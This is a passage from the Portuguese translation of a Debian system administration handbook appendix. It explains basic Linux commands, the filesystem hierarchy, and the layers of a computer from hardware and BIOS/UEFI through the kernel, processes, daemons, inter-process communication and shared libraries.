processo em segundo plano). O comando jobs lista os processos rodando em segundo plano;
executar fg %número-do-processo (para foreground - primeiro plano) restaura o trabalho para
o primeiro plano. Quando um comando está rodando em primeiro plano (ou porque ele foi
iniciado normalmente, ou trazido de volta para o primeiro plano com fg), a combinação de
teclas Control+Z pausa os processos e retorna o controle para a linha de comando. O processo
pode então ser reiniciado em segundo plano com o comando bg %número-do-processo (para
background - segundo plano).

B.1.5. Informações do Sistema: Memória, Espaço em Disco, Identidade

O comando free exibe informações sobre a memória; o df(disk free) exibe relatórios sobre o
espaço disponível no disco em cada um dos discos montados no sistema de arquivo. A opção
-h (para legível por humanos converte os tamanhos para uma unidade mais legível (normalmente
gigabytes ou megabytes). De um modo semelhante, o comando free suporta as opções -m e -g,
e mostra estes dados tanto em megabytes ou em gigabytes, respectivamente.

$ free
total used free shared buffers cached

Mem: 1028420 1009624 18796 0 47404 391804
-/+ buffers/cache: 570416 458004
Swap: 2771172 404588 2366584
$ df
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Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda2 9614084 4737916 4387796 52% /
tmpfs 514208 0 514208 0% /lib/init/rw
udev 10240 100 10140 1% /dev
tmpfs 514208 269136 245072 53% /dev/shm
/dev/sda5 44552904 36315896 7784380 83% /home

O comando id exibe a identidade do usuário em execução na seção, juntamente com a lista de
grupos a que pertence. Uma vez que o acesso a alguns arquivos ou dispositivos pode ser limitado
aos membros de algum grupo, verificar a que grupos pertence pode ser útil.
$ id
uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(

å sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(
å scanner)

B.2. Organização da Hierarquia de Sistema de Arquivos

B.2.1. O Diretório Raiz

UmsistemaDebian é organizado de acordo como FilesystemHierarchy Standard (FHS). Esta norma
define a finalidade de cada diretório. Por exemplo, os diretórios de nível superior são descritos
como se segue:

• /bin/: programas básicos;
• /boot/: núcleo Linux e outros arquivos necessários para os primeiros passos de seu pro-
cesso de inicialização;

• /dev/: arquivos de dispositivo;
• /etc/: Arquivos de configuração;
• /home/: arquivos pessoais dos usuários;
• /lib/: bibliotecas básicas;
• /media/*: pontos de montagem para dispositivos removíveis (CD-ROM, pendrivers e as-
sim por diante);

• /mnt/: ponto de montagem temporário;
• /opt/: aplicações extras fornecidas por terceiros;
• /root/: arquivos pessoais do administrador (root);
• /run/: dados de execução volátil (volatile runtime data) que não persistem entre re-
inicializações (ainda não incluído no FHS);

• /sbin/: programas do sistema;
• /srv/: dados utilizados por servidores hospedados neste sistema;
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• /tmp/: arquivos temporários, este diretório é comumente limpo na inicialização;
• /usr/: aplicações; este diretório é subdividido em bin, sbin, lib (de acordo com amesma
lógica do diretório raiz). Além disso, /usr/share/ contém dados independentes de arqui-
tetura. /usr/local/ é feito para ser usado pelo administrador para instalar aplicativos
manualmente, sem sobrescrever arquivos administrados pelo sistema de empacotamento
(dpkg).

• /var/: dados variáveismanipulados por daemons. Isto inclui arquivos de log, filas, spools,
caches e por aí vai.

• /proc/ e /sys/ são específicos do núcleo Linux ( e não fazem parte do FHS). Eles são
usados pelo núcleo para exportar dados para o espaço de usuário (veja Seção B.3.4, “O
Espaço de Usuário” [474] e Seção B.5, “O Espaço de Usuário” [478] para explicações sobre
esse conceito).

B.2.2. O Diretório Origem (home) do Usuário

O conteúdo do diretório home do usuário não é padronizado, mas ainda existem algumas con-
venções relevantes. Uma delas é que o diretório home do usuário é muitas vezes referenciado
por um til (”~”). É bom saber disto porque os interpretadores de comando substituem automa-
ticamente um til pelo diretório correto (geralmente /home/user/).
Tradicionalmente, os arquivos de configuração de aplicativos são frequentemente armazenados
diretamente sob o diretório home do usuário, mas seus nomes geralmente começam com um
ponto (por exemplo, o cliente de email mutt armazena sua configuração em ~/.muttrc). Note
que nomes de arquivos que começam com um ponto são ocultos por padrão; e ls os lista apenas
quando a opção -a for usada, e gerenciadores de arquivos gráficos precisa ser ordenados para
exibir arquivos ocultos.
Alguns programas também utilizam vários arquivos de configuração organizados em um dire-
tório (por exemplo, ~/.ssh/). Alguns aplicativos (como o navegador web Iceweasel) também
usam seu diretório para armazenar um cache de dados baixados. Isto significa que os diretórios
podem acabar usando muito espaço em disco.
Esses arquivos de configuração armazenados diretamente no diretório home do usuário, muitas
vezes chamados coletivamente como dotfiles, há tempos se proliferam a tal ponto que estes dire-
tórios podem ficar abarrotados com eles. Felizmente, um esforço liderado coletivamente sob a
orientação da FreeDesktop.org resultou na ”Especificação de Diretórios Base da XDG”, uma con-
venção que visa limpar esses arquivos e diretórios. Esta especificação estabelece que os arquivos
de configuração devem ser armazenados sob ~/.config, arquivos de cache sob ~/.cache, e ar-
quivos de dados de aplicativos sob ~/.local (ou subdiretórios nos mesmos). Esta convenção
está lentamente ganhando força e vários aplicativos (especialmente os gráficos) começaram a
segui-la.
Ambientes gráficos geralmente exibem o conteúdo do diretório ~/Desktop (ou qualquer que
seja a tradução apropriada para sistemas não configurados em inglês) na área de trabalho (ou
seja, o que é visível na tela uma vez que todas as aplicações estão fechadas ou minimizadas).
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Finalmente, o sistema de e-mail às vezes armazena e-mails recebidos no diretório ~/Mail/.

B.3. Funcionamento Interno de um Computador: As Diferentes Camadas
Envolvidas

Um computador é muitas vezes considerado como algo bastante abstrato, e a interface visível
externamente é muito mais simples do que a sua complexidade interna. Tal complexidade vem,
emparte, do número de peças envolvidas. No entanto, estas peças podem ser vistas em camadas,
em que uma camada apenas interage com aquelas imediatamente acima ou abaixo.
Um usuário final pode viver sem saber esses detalhes... enquanto tudo funciona. Ao encontrar
um problema como: ”A internet não funciona!”, A primeira coisa a fazer é identificar em qual
camada oproblema se origina. A placa de rede (hardware) está funcionando? É reconhecida pelo
computador? Será que o kernel do Linux vê a placa? Os parâmetros de rede estão configurados
corretamente? Todas estas questões isolam uma camada apropriada e focam numa possível
fonte do problema.

B.3.1. A Camada mais Profunda: o Hardware

Vamos começar com um lembrete básico de que um computador é, em primeiro lugar, um con-
junto de elementos de hardware. Há geralmente uma placa principal (conhecida como a placa-
mãe), com um (ou mais) processador(es), memória RAM, controladores de dispositivos e encai-
xes (slots) de extensão para placas opcionais (para outros controladores de dispositivos). Omais
importante entre esses controladores são as IDE (Parallel ATA), SCSI e Serial ATA, para cone-
xão com dispositivos de armazenamento, como discos rígidos. Outros controladores incluem
USB, que é capaz de hospedar uma grande variedade de dispositivos (variando de webcams até
termômetros, de teclados até sistemas de automação residencial) e IEEE 1394 (Firewire). Esses
controladores muitas vezes permitem conectar vários dispositivos. O subsistema completo ge-
renciado por tal controlador é, por este motivo, normalmente conhecido como ”barramento”.
Placas opcionais incluem placas gráficas (onde telas de monitores serão conectadas), placas de
som, placas de rede, e assim por diante. Algumas placas principais são pré-fabricadas com esses
recursos, e não precisam de placas opcionais.

NA PRÄTICA

Verificando se o
hardware funciona

Verificar se um hardware está funcionando pode ser complicado. Entretanto, pro-
var que o mesmo não funciona às vezes é bem simples.

Um disco rígido é feito de pratos giratórios e cabeças magnéticas móveis. Quando
um disco rígido é ligado, o motor faz um zumbido característico. Também dissipa
a energia na forma de calor. Consequentemente, um disco rígido que permanece
frio e silencioso quando ligado está quebrado.

Placas de rede muitas vezes incluem LEDs que indicam o estado da conexão. Se
um cabo estiver conectado e leva a um hub ou switch de rede em funcionamento,
pelo menos um LED será ligado. Se nenhum LED acende, ou o próprio cartão, ou o
dispositivo de rede ou o cabo entre eles está com defeito. O passo seguinte é, por
conseguinte, o teste de cada componente individualmente.
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Algumas placas opcionais - especialmente as placas de vídeo 3D - incluem dispositi-
vos de refrigeração, tais como dissipadores de calor e/ou ventoinhas. Se a ventoinha
não gira, mesmo que o cartão esteja ligado, uma explicação plausível é o cartão su-
peraquecido. Isso vale também para o(s) processador(es) principal(is) localizado(s)
na placa principal.

B.3.2. O Inicializador: a BIOS ou UEFI

O hardware, por si só, é incapaz de realizar tarefas úteis sem um software que o gerencie. Con-
trolar e interagir com o hardware é o objetivo do sistema operacional e dos aplicativos. Estes,
por sua vez, requerem hardware funcional para executar.
Esta simbiose entre hardware e software não acontece por si só. Quando o computador é ligado
pela primeira vez, algumas configurações iniciais são necessárias. Esse papel é assumido pela
BIOS ouUEFI, um software embarcadonaplaca principal que é executado automaticamente após
a energização. Sua tarefa principal é a procura do software que receberá o controle. Normal-
mente, no caso da BIOS, isso envolve buscar no primeiro disco rígido com um setor de iniciali-
zação (também conhecido como omaster boot record - registro mestre de inicialização - ou MBR),
carregar esse setor de inicialização e executá-lo. A partir deste ponto, a BIOS geralmente não é
mais utilizada (até a próxima inicialização). No caso da UEFI, o processo envolve uma busca nos
discos à procura de uma partição EFI contendo outras aplicações EFI para executar.

FERRAMENTA

Setup, a ferramenta de
configuração da

BIOS/UEFI

A BIOS/UEFI também contém um software chamado de Setup, projetado para per-
mitir a configuração de aspectos do computador. Em particular, ele permite esco-
lher qual é o dispositivo preferencial de inicialização (por exemplo, o disquete ou
CD-ROM), configurar o relógio do sistema, e assim por diante. Iniciar o Setup ge-
ralmente envolve pressionar uma tecla logo que o computador é ligado. Esta tecla
é muitas vezes o Del ou Esc, às vezes a F2 ou F10. Na maioria das vezes, a escolha
é exibida na tela durante a inicialização.

O setor de inicialização (ou a partição EFI), por sua vez, contém outro pedaço de software, cha-
mado bootloader, cujo propósito é encontrar e executar um sistema operacional. Uma vez que
este bootloader não é incorporado na placa principal, mas carregado do disco, pode ser mais
esperto do que a BIOS, o que explica por que o BIOS não carrega o sistema operacional por si
só. Por exemplo, o carregador de inicialização (geralmente o GRUB em sistemas Linux) pode
listar os sistemas operacionais disponíveis e pedir ao usuário para escolher um. Normalmente,
fornece uma opção de tempo limite e escolha padrão. Às vezes, o usuário também pode optar
por adicionar parâmetros para passar para o núcleo, e assim por diante. No final das contas, um
núcleo é encontrado, carregado na memória e executado.

NOTA

UEFI, um moderno
substituto para a BIOS

UEFI é um desenvolvimento relativamente recente. A maioria dos computadores
novos irão suportar a inicialização por UEFI, mas geralmente eles também supor-
tam a inicialização por BIOS por questões de compatibilidade com sistemas opera-
cionais que ainda não estão prontos para explorar o UEFI.
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Esse novo sistema se livra de algumas das limitações da inicialização pela BIOS:
com o uso de uma partição dedicada, os carregadores de inicialização não mais
precisam de truques especiais para caber na pequenaMBR - master boot record, e
assim, descobrir qual núcleo iniciar. Ainda melhor, com um núcleo Linux adequa-
damente construído, a UEFI pode inicializar o kernel diretamente sem qualquer
carregador de inicialização intermediário. O UEFI é também a fundação básica
usada para entregar o Secure Boot, uma tecnologia que garante que você apenas
irá rodar software validado pelo seu fabricante de sistema operacional.

ABIOS/UEFI tambémé responsável por detectar e iniciar uma série de dispositivos. Obviamente,
isto inclui os dispositivos IDE/SATA (normalmente disco(s) rígido(s) e unidades de CD/DVD-
ROM), mas também dispositivos PCI. Os dispositivos detectados são frequentemente listado na
tela durante o processo de inicialização. Se esta lista passa muito rápido, use a tecla Pause para
congelá-la por tempo suficiente para ler. Dispositivos PCI instalados que não aparecem são um
mau presságio. Na pior das hipóteses, o dispositivo está com defeito. Na melhor das hipóte-
ses, é apenas incompatível com a versão atual da BIOS ou com a placa-mãe. As especificações
PCI evoluiem, e não há garantia de que as placas-mãe antigas entendam dispositivos PCI mais
recentes.

B.3.3. O Núcleo

Tanto a BIOS/UEFI como o bootloader apenas são executados por alguns segundos cada; agora
estamos chegando ao primeiro software que é executado por um longo tempo, o núcleo do sis-
tema operacional. Este núcleo assume o papel de um maestro de uma orquestra e assegura a
coordenação entre o hardware e o software. Este papel envolve várias tarefas, incluindo: admi-
nistrar o hardware, gerenciar processos, usuários e permissões, o sistema de arquivos, e assim
por diante. O núcleo fornece uma base comum a todos os outros programas no sistema.

B.3.4. O Espaço de Usuário

Embora possamos agurpar tudo que acontece fora do núcleo como ”espaço do usuário”, ainda
podemos separá-lo em camadas de software. No entanto, as suas interações estão cada vez mais
complexas e as classificações podem não ser tão simples. Uma aplicação geralmente usa biblio-
tecas, que por sua vez envolvem o núcleo, mas as comunicações tambémpodem envolver outros
programas, ou até mesmo muitas bibliotecas que chamam umas às outras.

B.4. Algumas Tarefas realizadas pelo Núcleo

B.4.1. Controlando o Hardware

O núcleo tem, em primeiro lugar, a tarefa de controlar as partes do hardware, detectando-os,
ligando-os quando o computador é ligado, e assimpor diante. Tambémos torna disponíveis para
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o software de alto nível com uma interface de programação simplificada, para que os aplicativos
possam tirar proveito de dispositivos sem ter que se preocupar com detalhes como em qual slot
de extensão a placa opcional está conectada. A interface de programação também fornece uma
camada de abstração; isso permite que o software de videoconferência, por exemplo, use uma
webcam independentemente da sua marca e modelo. O software pode apenas usar a interface
Vídeo for Linux (V4L), e o núcleo traduz as chamadas de função desta interface para os comandos
de hardware reais necessários pela webcam específica em uso.
O núcleo exporta muitos detalhes sobre o hardware detectado através dos sistemas de arquivos
virtuais /proc/ e /sys/. Várias ferramentas resumem esses detalhes. Entre elas, o lspci (no
pacote pciutils) lista os dispositivos PCI, lsusb (no pacote usbutils) lista os dispositivos USB e
lspcmcia (no pacote pcmciautils) lista os cartões PCMCIA. Estas ferramentas sãomuito úteis para
a identificação domodelo exato de umdispositivo. Esta identificação permite tambémpesquisas
mais precisas na web, que por sua vez, levam a documentos mais relevantes.

Exemplo B.1 Exemplo de informação provida pelo lspci e lsusb

$ lspci
[...]
00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express

å Graphics Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express

å Port 1 (rev 03)
00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB

å UHCI #1 (rev 03)
[...]
01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet

å PCI Express (rev 01)
02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection

å (rev 05)
$ lsusb
Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.
Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.
Bus 005 Device 007: ID 045e:00dd Microsoft Corp.
Bus 005 Device 006: ID 046d:c03d Logitech, Inc.
[...]
Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Estes programas têm uma opção -v, que lista informações com muito mais detalhes (mas geral-
mente não é necessário). Finalmente, o comando lsdev (no pacote procinfo) lista os recursos de
comunicação usados pelos dispositivos.
As aplicações acessam frequentemente os dispositivos por meio de arquivos especiais criados
dentro de /dev/ (veja a barra lateral Permissão de acesso a dispositivos [168]). Estes são ar-
quivos especiais que representam as unidades de disco (por exemplo, /dev/hda e /dev/sdc),
partições (/dev/hda1 ou /dev/sdc3), mouses (/dev/input/mouse0), teclados (/dev/input/
event0), placas de som (/dev/snd/*), portas seriais (/dev/ttyS*), e assim por diante.

475Curso Rápido de Reparação



B.4.2. Sistemas de Arquivos

Os sistemas de arquivos são um dos aspectos mais importantes do núcleo. Sistemas Unix agru-
pam todos os arquivos que armazenam em uma hierarquia única, que permite aos usuários (e
aplicações) acessar os dados sabendo apenas a sua localização dentro dessa hierarquia.
O ponto de partida desta árvore hierárquica é chamado de raiz, /. Este diretório pode con-
ter subdiretórios nomeados. Por exemplo, o subdiretório home do / é chamado /home/. Este
subdiretório pode, por sua vez, conter outros subdiretórios, e assim por diante. Cada diretó-
rio também pode conter arquivos, onde os dados reais serão armazenados. Assim, o nome
/home/rmas/Desktop/hello.txt refere-se a um arquivo chamado hello.txt armazenado em
Desktop, que é subdiretório de rmas, que é subdiretório de home, que está na raiz. O núcleo
traduz entre este sistema de nomenclatura e o real armazenamento físico que fica no disco.
Ao contrário de outros sistemas, só há uma hierarquia deste tipo, e pode integrar dados de vá-
rios discos. Um desses discos é usado como a raiz, e os outros são ”montados” em diretórios
na hierarquia (o comando Unix é chamado mount); esses outros discos estarão disponíveis sob
estes ”pontos de montagem”. Isso permite o armazenamento do diretório home dos usuários
(tradicionalmente armazenados dentro de /home/) em um segundo disco rígido, que irá conter
os diretórios rhertzog e rmas. Depois que o disco é montado em /home/, esses diretórios es-
tarão disponíveis em seus locais habituais e caminhos como /home/rmas/Desktop/hello.txt
continuarão funcionando.
Existem muitos formatos de sistemas de arquivo que correspondem a muitas formas de arma-
zenamento físico de dados nos discos. Os mais conhecidos são o ext2, ext3 e o ext4, mas existem
outros. Por exemplo, o vfat é o sistema que foi historicamente usado pelos sistemas operacionais
DOS e Windows, que permite utilizar os discos rígidos tanto no Debian como no Windows. Em
qualquer caso, um sistema de arquivos deve ser preparado em um disco antes que ele possa ser
montado e esta operação é conhecida como ”formatação”. Comandos como mkfs.ext3 (onde
mkfs é MaKe FileSystem - criar sistema de arquivos) fazem a formatação. Estes comandos exi-
gem, como um parâmetro, um arquivo de dispositivo que representa a partição a ser formatada
(por exemplo, /dev/sda1). Esta operação é destrutiva e só deve ser executado uma vez, exceto
quando se queira limpar deliberadamente um sistema de arquivos e começar de novo.
Há também sistemas de arquivos de rede, como oNFS, em que os dados não são armazenados em
um disco local. Em vez disso, os dados são transmitidos através da rede para um servidor que os
armazena e recupera sob demanda. A abstração de sistema de arquivos protege os usuários de
se preocuparem com: arquivos permanecem acessíveis na sua forma hierárquica usual.

B.4.3. Funções Compartilhadas

Uma vez que uma quantidade das mesmas funções são usadas por todos os softwares, não faz
sentido centralizá-las no kernel. Por exemplo, a gestão de sistemas de arquivos compartilha-
dos permite que qualquer aplicativo simplesmente abra um arquivo pelo nome, sem precisar se
preocupar onde o arquivo está armazenado fisicamente. O arquivo pode ser armazenado em di-
ferentes partes em um disco rígido, ou dividido em vários discos rígidos, oumesmo armazenado
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em um servidor de arquivos remoto. As funções de comunicação compartilhadas são usadas por
aplicativos para troca de dados de forma independente da forma como os dados são transporta-
dos. Por exemplo, o transporte poderia ser sobre qualquer combinação de redes locais sem fio
ou através de uma linha telefônica.

B.4.4. Gerenciamento de Processos

Um processo é uma instância em execução de um programa. Ele requer memória para arma-
zenar tanto o próprio programa quanto seus dados operacionais. O núcleo é responsável por
criar e acompanhá-los. Quando um programa é executado, o núcleo primeiro reserva alguma
memória, em seguida carrega o código executável do sistema de arquivos para ele, e então co-
meça a execução do código. Ele mantém informações sobre este processo, sendo a mais visível
um número de identificação conhecido como pid (process identifier - identificador de processo).
Núcleos tipo Unix (incluindo o Linux), como a maioria dos outros sistemas operacionais mo-
dernos, são capazes de ”multitarefa”. Em outras palavras, eles permitem a execução de vários
processos ”ao mesmo tempo”. Na verdade, há apenas um processo em execução em qualquer
momento, mas o kernel divide o tempo em pequenas porções e executa um processo de cada
vez. Uma vez que estas porções de tempo são muito curtas (com intervalo em milissegundos),
cria-se a ilusão de processos em execução em paralelo, embora estejam, na verdade, somente
ativo durante alguns intervalos de tempo e ociosos no resto do tempo. O trabalho do kernel
é ajustar seus mecanismos de agendamento para manter essa ilusão, enquanto maximiza o de-
sempenho do sistema global. Se as porções de tempo são muito longas, o aplicativo pode não
parecer responsivo como desejado. Se são muito curtas, o sistema perde tempo trocando entre
as tarefas com muita frequência. Estas decisões podem ser ajustadas pelas prioridades do pro-
cesso. Os processos de alta prioridade serão executados por porções de tempo mais longas e
mais frequentes do que os processos de baixa prioridade.

NOTA

Sistemas
multiprocessados (e suas

variantes)

A restrição descrita acima, de apenas um processo sendo capaz de rodar de cada
vez, nem sempre é aplicável. A restrição real é que só pode haver um processo
em execução por ”core” de processador de cada vez. Sistemas multiprocessador,
multi-core ou ”hiper-thread” permitem que vários processos executem em paralelo.
O mesmo sistema de divisão de tempo ainda é usado, no entanto, de forma a lidar
com casos em que existem mais processos ativos do que núcleos de processador
disponíveis. Isto está longe de ser incomum: um sistema básico, ainda que na
maior parte inativo, quase sempre tem dezenas de processos em execução.

Claro que, o núcleo permite a execução de várias instâncias independentes domesmo programa.
Mas cada uma só pode acessar os seus próprios intervalos de tempo ememória. Assim seus dados
se mantém independentes.
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B.4.5. Gerenciamento de Direitos

Sistemas similares ao Unix também são multiusuário. Eles fornecem um sistema de gerencia-
mento de direitos que permite grupos e usuários separados; ele também permite controle so-
bre ações com base em permissões. O núcleo gerencia dados de cada processo, permitindo-lhe
controlar as permissões. Na maioria das vezes, um processo é identificado pelo usuário que o
iniciou. Esse processo só é capaz de agir de acordo com as permissões disponíveis para seu dono.
Por exemplo, tentar abrir um arquivo requer que o núcleo verifique a identidade do processo
em relação as permissões de acesso (para mais detalhes sobre este exemplo em particular, veja
Seção 9.3, “Gerenciando Direitos” [208]).

B.5. O Espaço de Usuário

”Espaço de usuário” refere-se ao ambiente de execução de processos normais (em oposição aos
do núcleo). Isso não significa necessariamente que esses processos foram realmente iniciados
por usuários, pois um sistema padrão normalmente tem vários processos ”daemon” (serviços)
(ou em segundo plano) em execução antes mesmo do usuário abrir uma sessão. Processos dae-
mon também são considerados processos no espaço do usuário.

B.5.1. Processo

Quando o núcleo passa por sua fase de inicialização, ele inicia o primeiro de todos os processos,
o init. O processo #1 sozinho, raramente é útil por si só, e em sistemas similares ao Unix rodam
com muitos processos adicionais.
Em primeiro lugar, um processo pode se clonar (isto é conhecido como fork). O núcleo aloca um
novo (mas idêntico) espaço de memória do processo, e um outro processo para usá-lo. Neste
momento, a única diferença entre esses dois processos é o pid. O novo processo é normalmente
chamado de processo filho, e o processo original cujo pid não muda, é chamado de processo pai.
Às vezes, o processo filho continua a viver de forma independente de seu pai, com os seus pró-
prios dados copiados do processo pai. Emmuitos casos, porém, este processo filho executa outro
programa. Com poucas exceções, sua memória é simplesmente substituída pela do novo pro-
grama, e a execução deste novo programa começa. Esse é o mecanismo usado pelo processo init
(com processo número 1) para iniciar serviços adicionais e executar toda a sequência de iniciali-
zação. Em algummomento, umdos processos descendentes do init inicia uma interface gráfica
para os usuários iniciarem sua sessão (a sequência dos eventos é descrita em mais detalhes no
Seção 9.1, “Inicialização do Sistema” [192]).
Quando um processo termina a tarefa para a qual ele foi iniciado, ele termina. O núcleo então
recupera a memória designada para este processo, e pára de dar porções de tempo de execução.
O processo pai é avisado de que seu processo filho que está sendo encerrado, o que permite que
um processo aguarde a conclusão de uma tarefa delegada a um processo filho. Este comporta-
mento é claramente visível nos interpretadores de linha de comando (conhecidos como shells).
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Quando um comando é digitado em um shell, o prompt só volta quando a execução do comando
é concluída. A maioria dos shells permite a execução do comando em segundo plano simples-
mente adicionando um & no final do comando. O prompt volta a ser exibido imediatamente, o
que pode ser um problema se o comando deve exibir dados.

B.5.2. Daemons

Um ”daemon” (serviço) é um processo iniciado automaticamente pela sequência de inicializa-
ção. Ele continua em execução (em segundo plano) para executar as tarefas de manutenção ou
prover serviços a outros processos. Esta ”tarefa em segundo plano” é realmente arbitrária e não
tem uma importância especial do ponto de vista do sistema. Eles são simplesmente processos,
bastante semelhantes a outros processos, que executam quando está em sua porção de tempo. A
distinção é apenas na língua humana: dizemos que um processo que é executado sem interação
com o usuário (em particular, sem qualquer interface gráfica) está em execução ”em segundo
plano” ou ”como um serviço”.

VOCABULÁRIO

Daemon, demon, um
termo depreciativo?

Em inglês, utiliza-se o termo daemon compartilhando sua etimologia grega com
demônio, o que não implica formalmente mal diabólico, ao contrário, deve ser en-
tendido como uma espécie de espírito ajudante. Esta distinção é sutil o suficiente
em inglês; é ainda pior em outras línguas em que a mesma palavra é usada para
ambos os significados.

Vários desses daemons são descritos em detalhes em Capítulo 9, Serviços Unix [192].

B.5.3. Comunicação Inter Processos

Um processo isolado, seja um daemon ou um aplicativo interativo, raramente é útil por si só, e é
por isso que existem váriosmétodos que permitem a comunicação entre os processos separados,
seja para troca de dados ou para controlar um ao outro. O termo genérico que se refere a isso é
comunicação entre processos, ou IPC (Inter-Process Communication) para abreviar.
O sistema IPC mais simples é utilizar arquivos. O processo que deseja enviar dados escreve-os
em um arquivo (com um nome já conhecido), enquanto o destinatário só precisa abrir o arquivo
e ler seu conteúdo.
No caso de você não desejar armazenar dados em disco, você pode usar um pipe (conexão), que
é simplesmente um objeto com duas extremidades; bytes escritos em uma extremidade são legí-
veis na outra. Se as extremidades são controladas por processos separados, ela se converte em
um canal de comunicação entre processos simples e conveniente. Pipes podem ser classificados
em duas categorias: pipes nomeados e pipes anônimos. Um pipe nomeado é representado por
uma entrada no sistema de arquivos (embora os dados transmitidos não são armazenados lá),
para que ambos os processos posam abri-lo de forma independente desde que a localização do
pipe nomeado seja conhecida antecipadamente. Nos casos em que os processos se comunicando
sejam relacionados (por exemplo, umpai e seu processo filho), o processo pai tambémpode criar
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um pipe anônimo antes da bifurcação (fork), e o filho o herda. Assim, ambos os processos serão
capazes de trocar dados através do pipe sem a necessidade do sistema de arquivos.

NA PRÁTICA

Um exemplo concreto
Vamos descrever em detalhes o que acontece quando um comando complexo (um
pipeline) é executado a partir de um shell. Vamos assumir que temos um processo
bash (o shell do usuário padrão no Debian), com pid 4374; neste shell podemos
digitar o comando: ls | sort.

O shell primeiro interpreta o comando digitado nele. No nosso caso, ele entende
que existem dois programas (ls e sort), com um fluxo de dados que flui de um
para o outro (denotado pelo caractere |, conhecido como pipe). O bash primeiro
cria um pipe sem nome (que inicialmente só existe dentro do processo bash em si).

Então o shell se clona; isso leva a um novo processo bash com pid #4521 (pids são
números abstratos e geralmente não têm significado particular). O processo #4521
herda o pipe, o que significa que é capaz de escrever em seu lado de ”entrada”; o
bash redireciona seu fluxo de saída padrão para a entrada deste pipe. Em seguida,
ele executa (e substitui-se com) o ls do programa, que lista o conteúdo do diretório
atual. Como o ls escreve em sua saída padrão, e anteriormente se direcionou esta
saída, seus resultados são efetivamente enviados para o pipe.

Uma operação similar acontece para o segundo comando: obash se clona nova-
mente, levando a um novo processo bash com pid #4522. Como também é um
processo filho do #4374, também herda o pipe; em seguida o bash conecta sua en-
trada padrão com a saída do pipe, então executa (e substitui a si mesmo com) o
comando sort, que classifica sua entrada e exibe os resultados.

Todas as peças do quebra-cabeça agora estão definidas: o ls lê o diretório atual e
escreve a lista de arquivos dentro do pipe; o sort lê esta lista, classifica-a em ordem
alfabética e exibe os resultados. Os processos números #4521 e #4522 encerram, e
o #4374 (que estava esperando por eles durante a operação), retoma o controle e
exibe o prompt permitindo que o usuário digite um novo comando.

No entanto, nem todas as comunicações entre processos são usadas para mover dados. Emmui-
tas situações, a única informação que deve ser transmitida sãomensagens de controle tais como
”execução em pausa” ou ”retomar execução”. O Unix (e Linux) fornece um mecanismo conhe-
cido como sinais, através do qual um processo pode simplesmente enviar um sinal específico
(escolhido dentro de uma lista pré-definida de sinais) para outro processo. O único requisito é
saber o pid do alvo.
Para comunicações mais complexas também existem mecanismos que permitem que um pro-
cesso abra o acesso, ou compartilhe, parte da memória alocada para outros processos. A memó-
ria agora compartilhada entre eles pode ser usada para mover dados entre os processos.
Finalmente, as conexões de rede também podem ajudar a comunicação de processos; esses pro-
cessos podem até ser executados em diferentes computadores, possivelmente a milhares de
quilômetros de distância.
É bastante normal para um típico sistema similar ao Unix fazer uso de todos esses mecanismos
em vários graus.
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B.5.4. Bibliotecas

Bibliotecas de funções desempenham um papel crucial em um sistema operacional similar ao
Unix. Elas não são programas propriamente ditos, uma vez que não podem ser executadas por
si próprias, mas coleções de fragmentos de código que podem ser utilizados pelos programas
normais. Entre as bibliotecas comuns, você pode encontrar:

• a biblioteca padrão C (glibc), que contém as funções básicas como aquelas para abrir arqui-
vos ou conexões de rede, e outras que facilitam as interações com o kernel;

• toolkits gráficos, como Gtk+ e Qt, permitindo que muitos programas reutilizem os objetos
gráficos que eles fornecem;

• a biblioteca libpng que permite carregar, interpretar e salvar imagens no formato PNG.

Graças a essas bibliotecas, as aplicações podem reutilizar o código existente. O desenvolvimento
de aplicações é simplificado já quemuitas aplicações podem reutilizar asmesmas funções. Como
as bibliotecas são geralmente desenvolvidas por pessoas diferentes, o desenvolvimento global
do sistema está mais perto da filosofia histórica do Unix.

CULTURA

O Estilo Unix: uma coisa
de cada vez

Um dos conceitos fundamentais da família de sistemas operacionais Unix é que
cada ferramenta deve fazer uma coisa, e fazê-lo bem; aplicações podem reutilizar
essas ferramentas para criar uma lógica mais avançada sobre elas. Essa filosofia
pode ser vista em muitas encarnações. Shell scripts podem ser o melhor exemplo:
eles montam sequências complexas de ferramentas muito simples (como grep, wc,
sort, uniq e assim por diante). Outra implementação dessa filosofia pode ser vista
em bibliotecas de código: a biblioteca libpng permite ler e escrever imagens PNG,
com diferentes opções e de maneiras diferentes, mas ela faz só isso; nenhuma ques-
tão de incluir funções que exibem ou editam imagens.

Além disso, essas bibliotecas muitas vezes são chamadas de ”bibliotecas compartilhadas”, já que
o núcleo pode carregá-las apenas uma vez para a memória, mesmo se vários processos utilizam
a mesma biblioteca ao mesmo tempo. Isso permite economia de memória, quando comparado
com a situação oposta (hipotética), onde o código para uma biblioteca seria carregado tantas
vezes quantos os processos que a utilizam.
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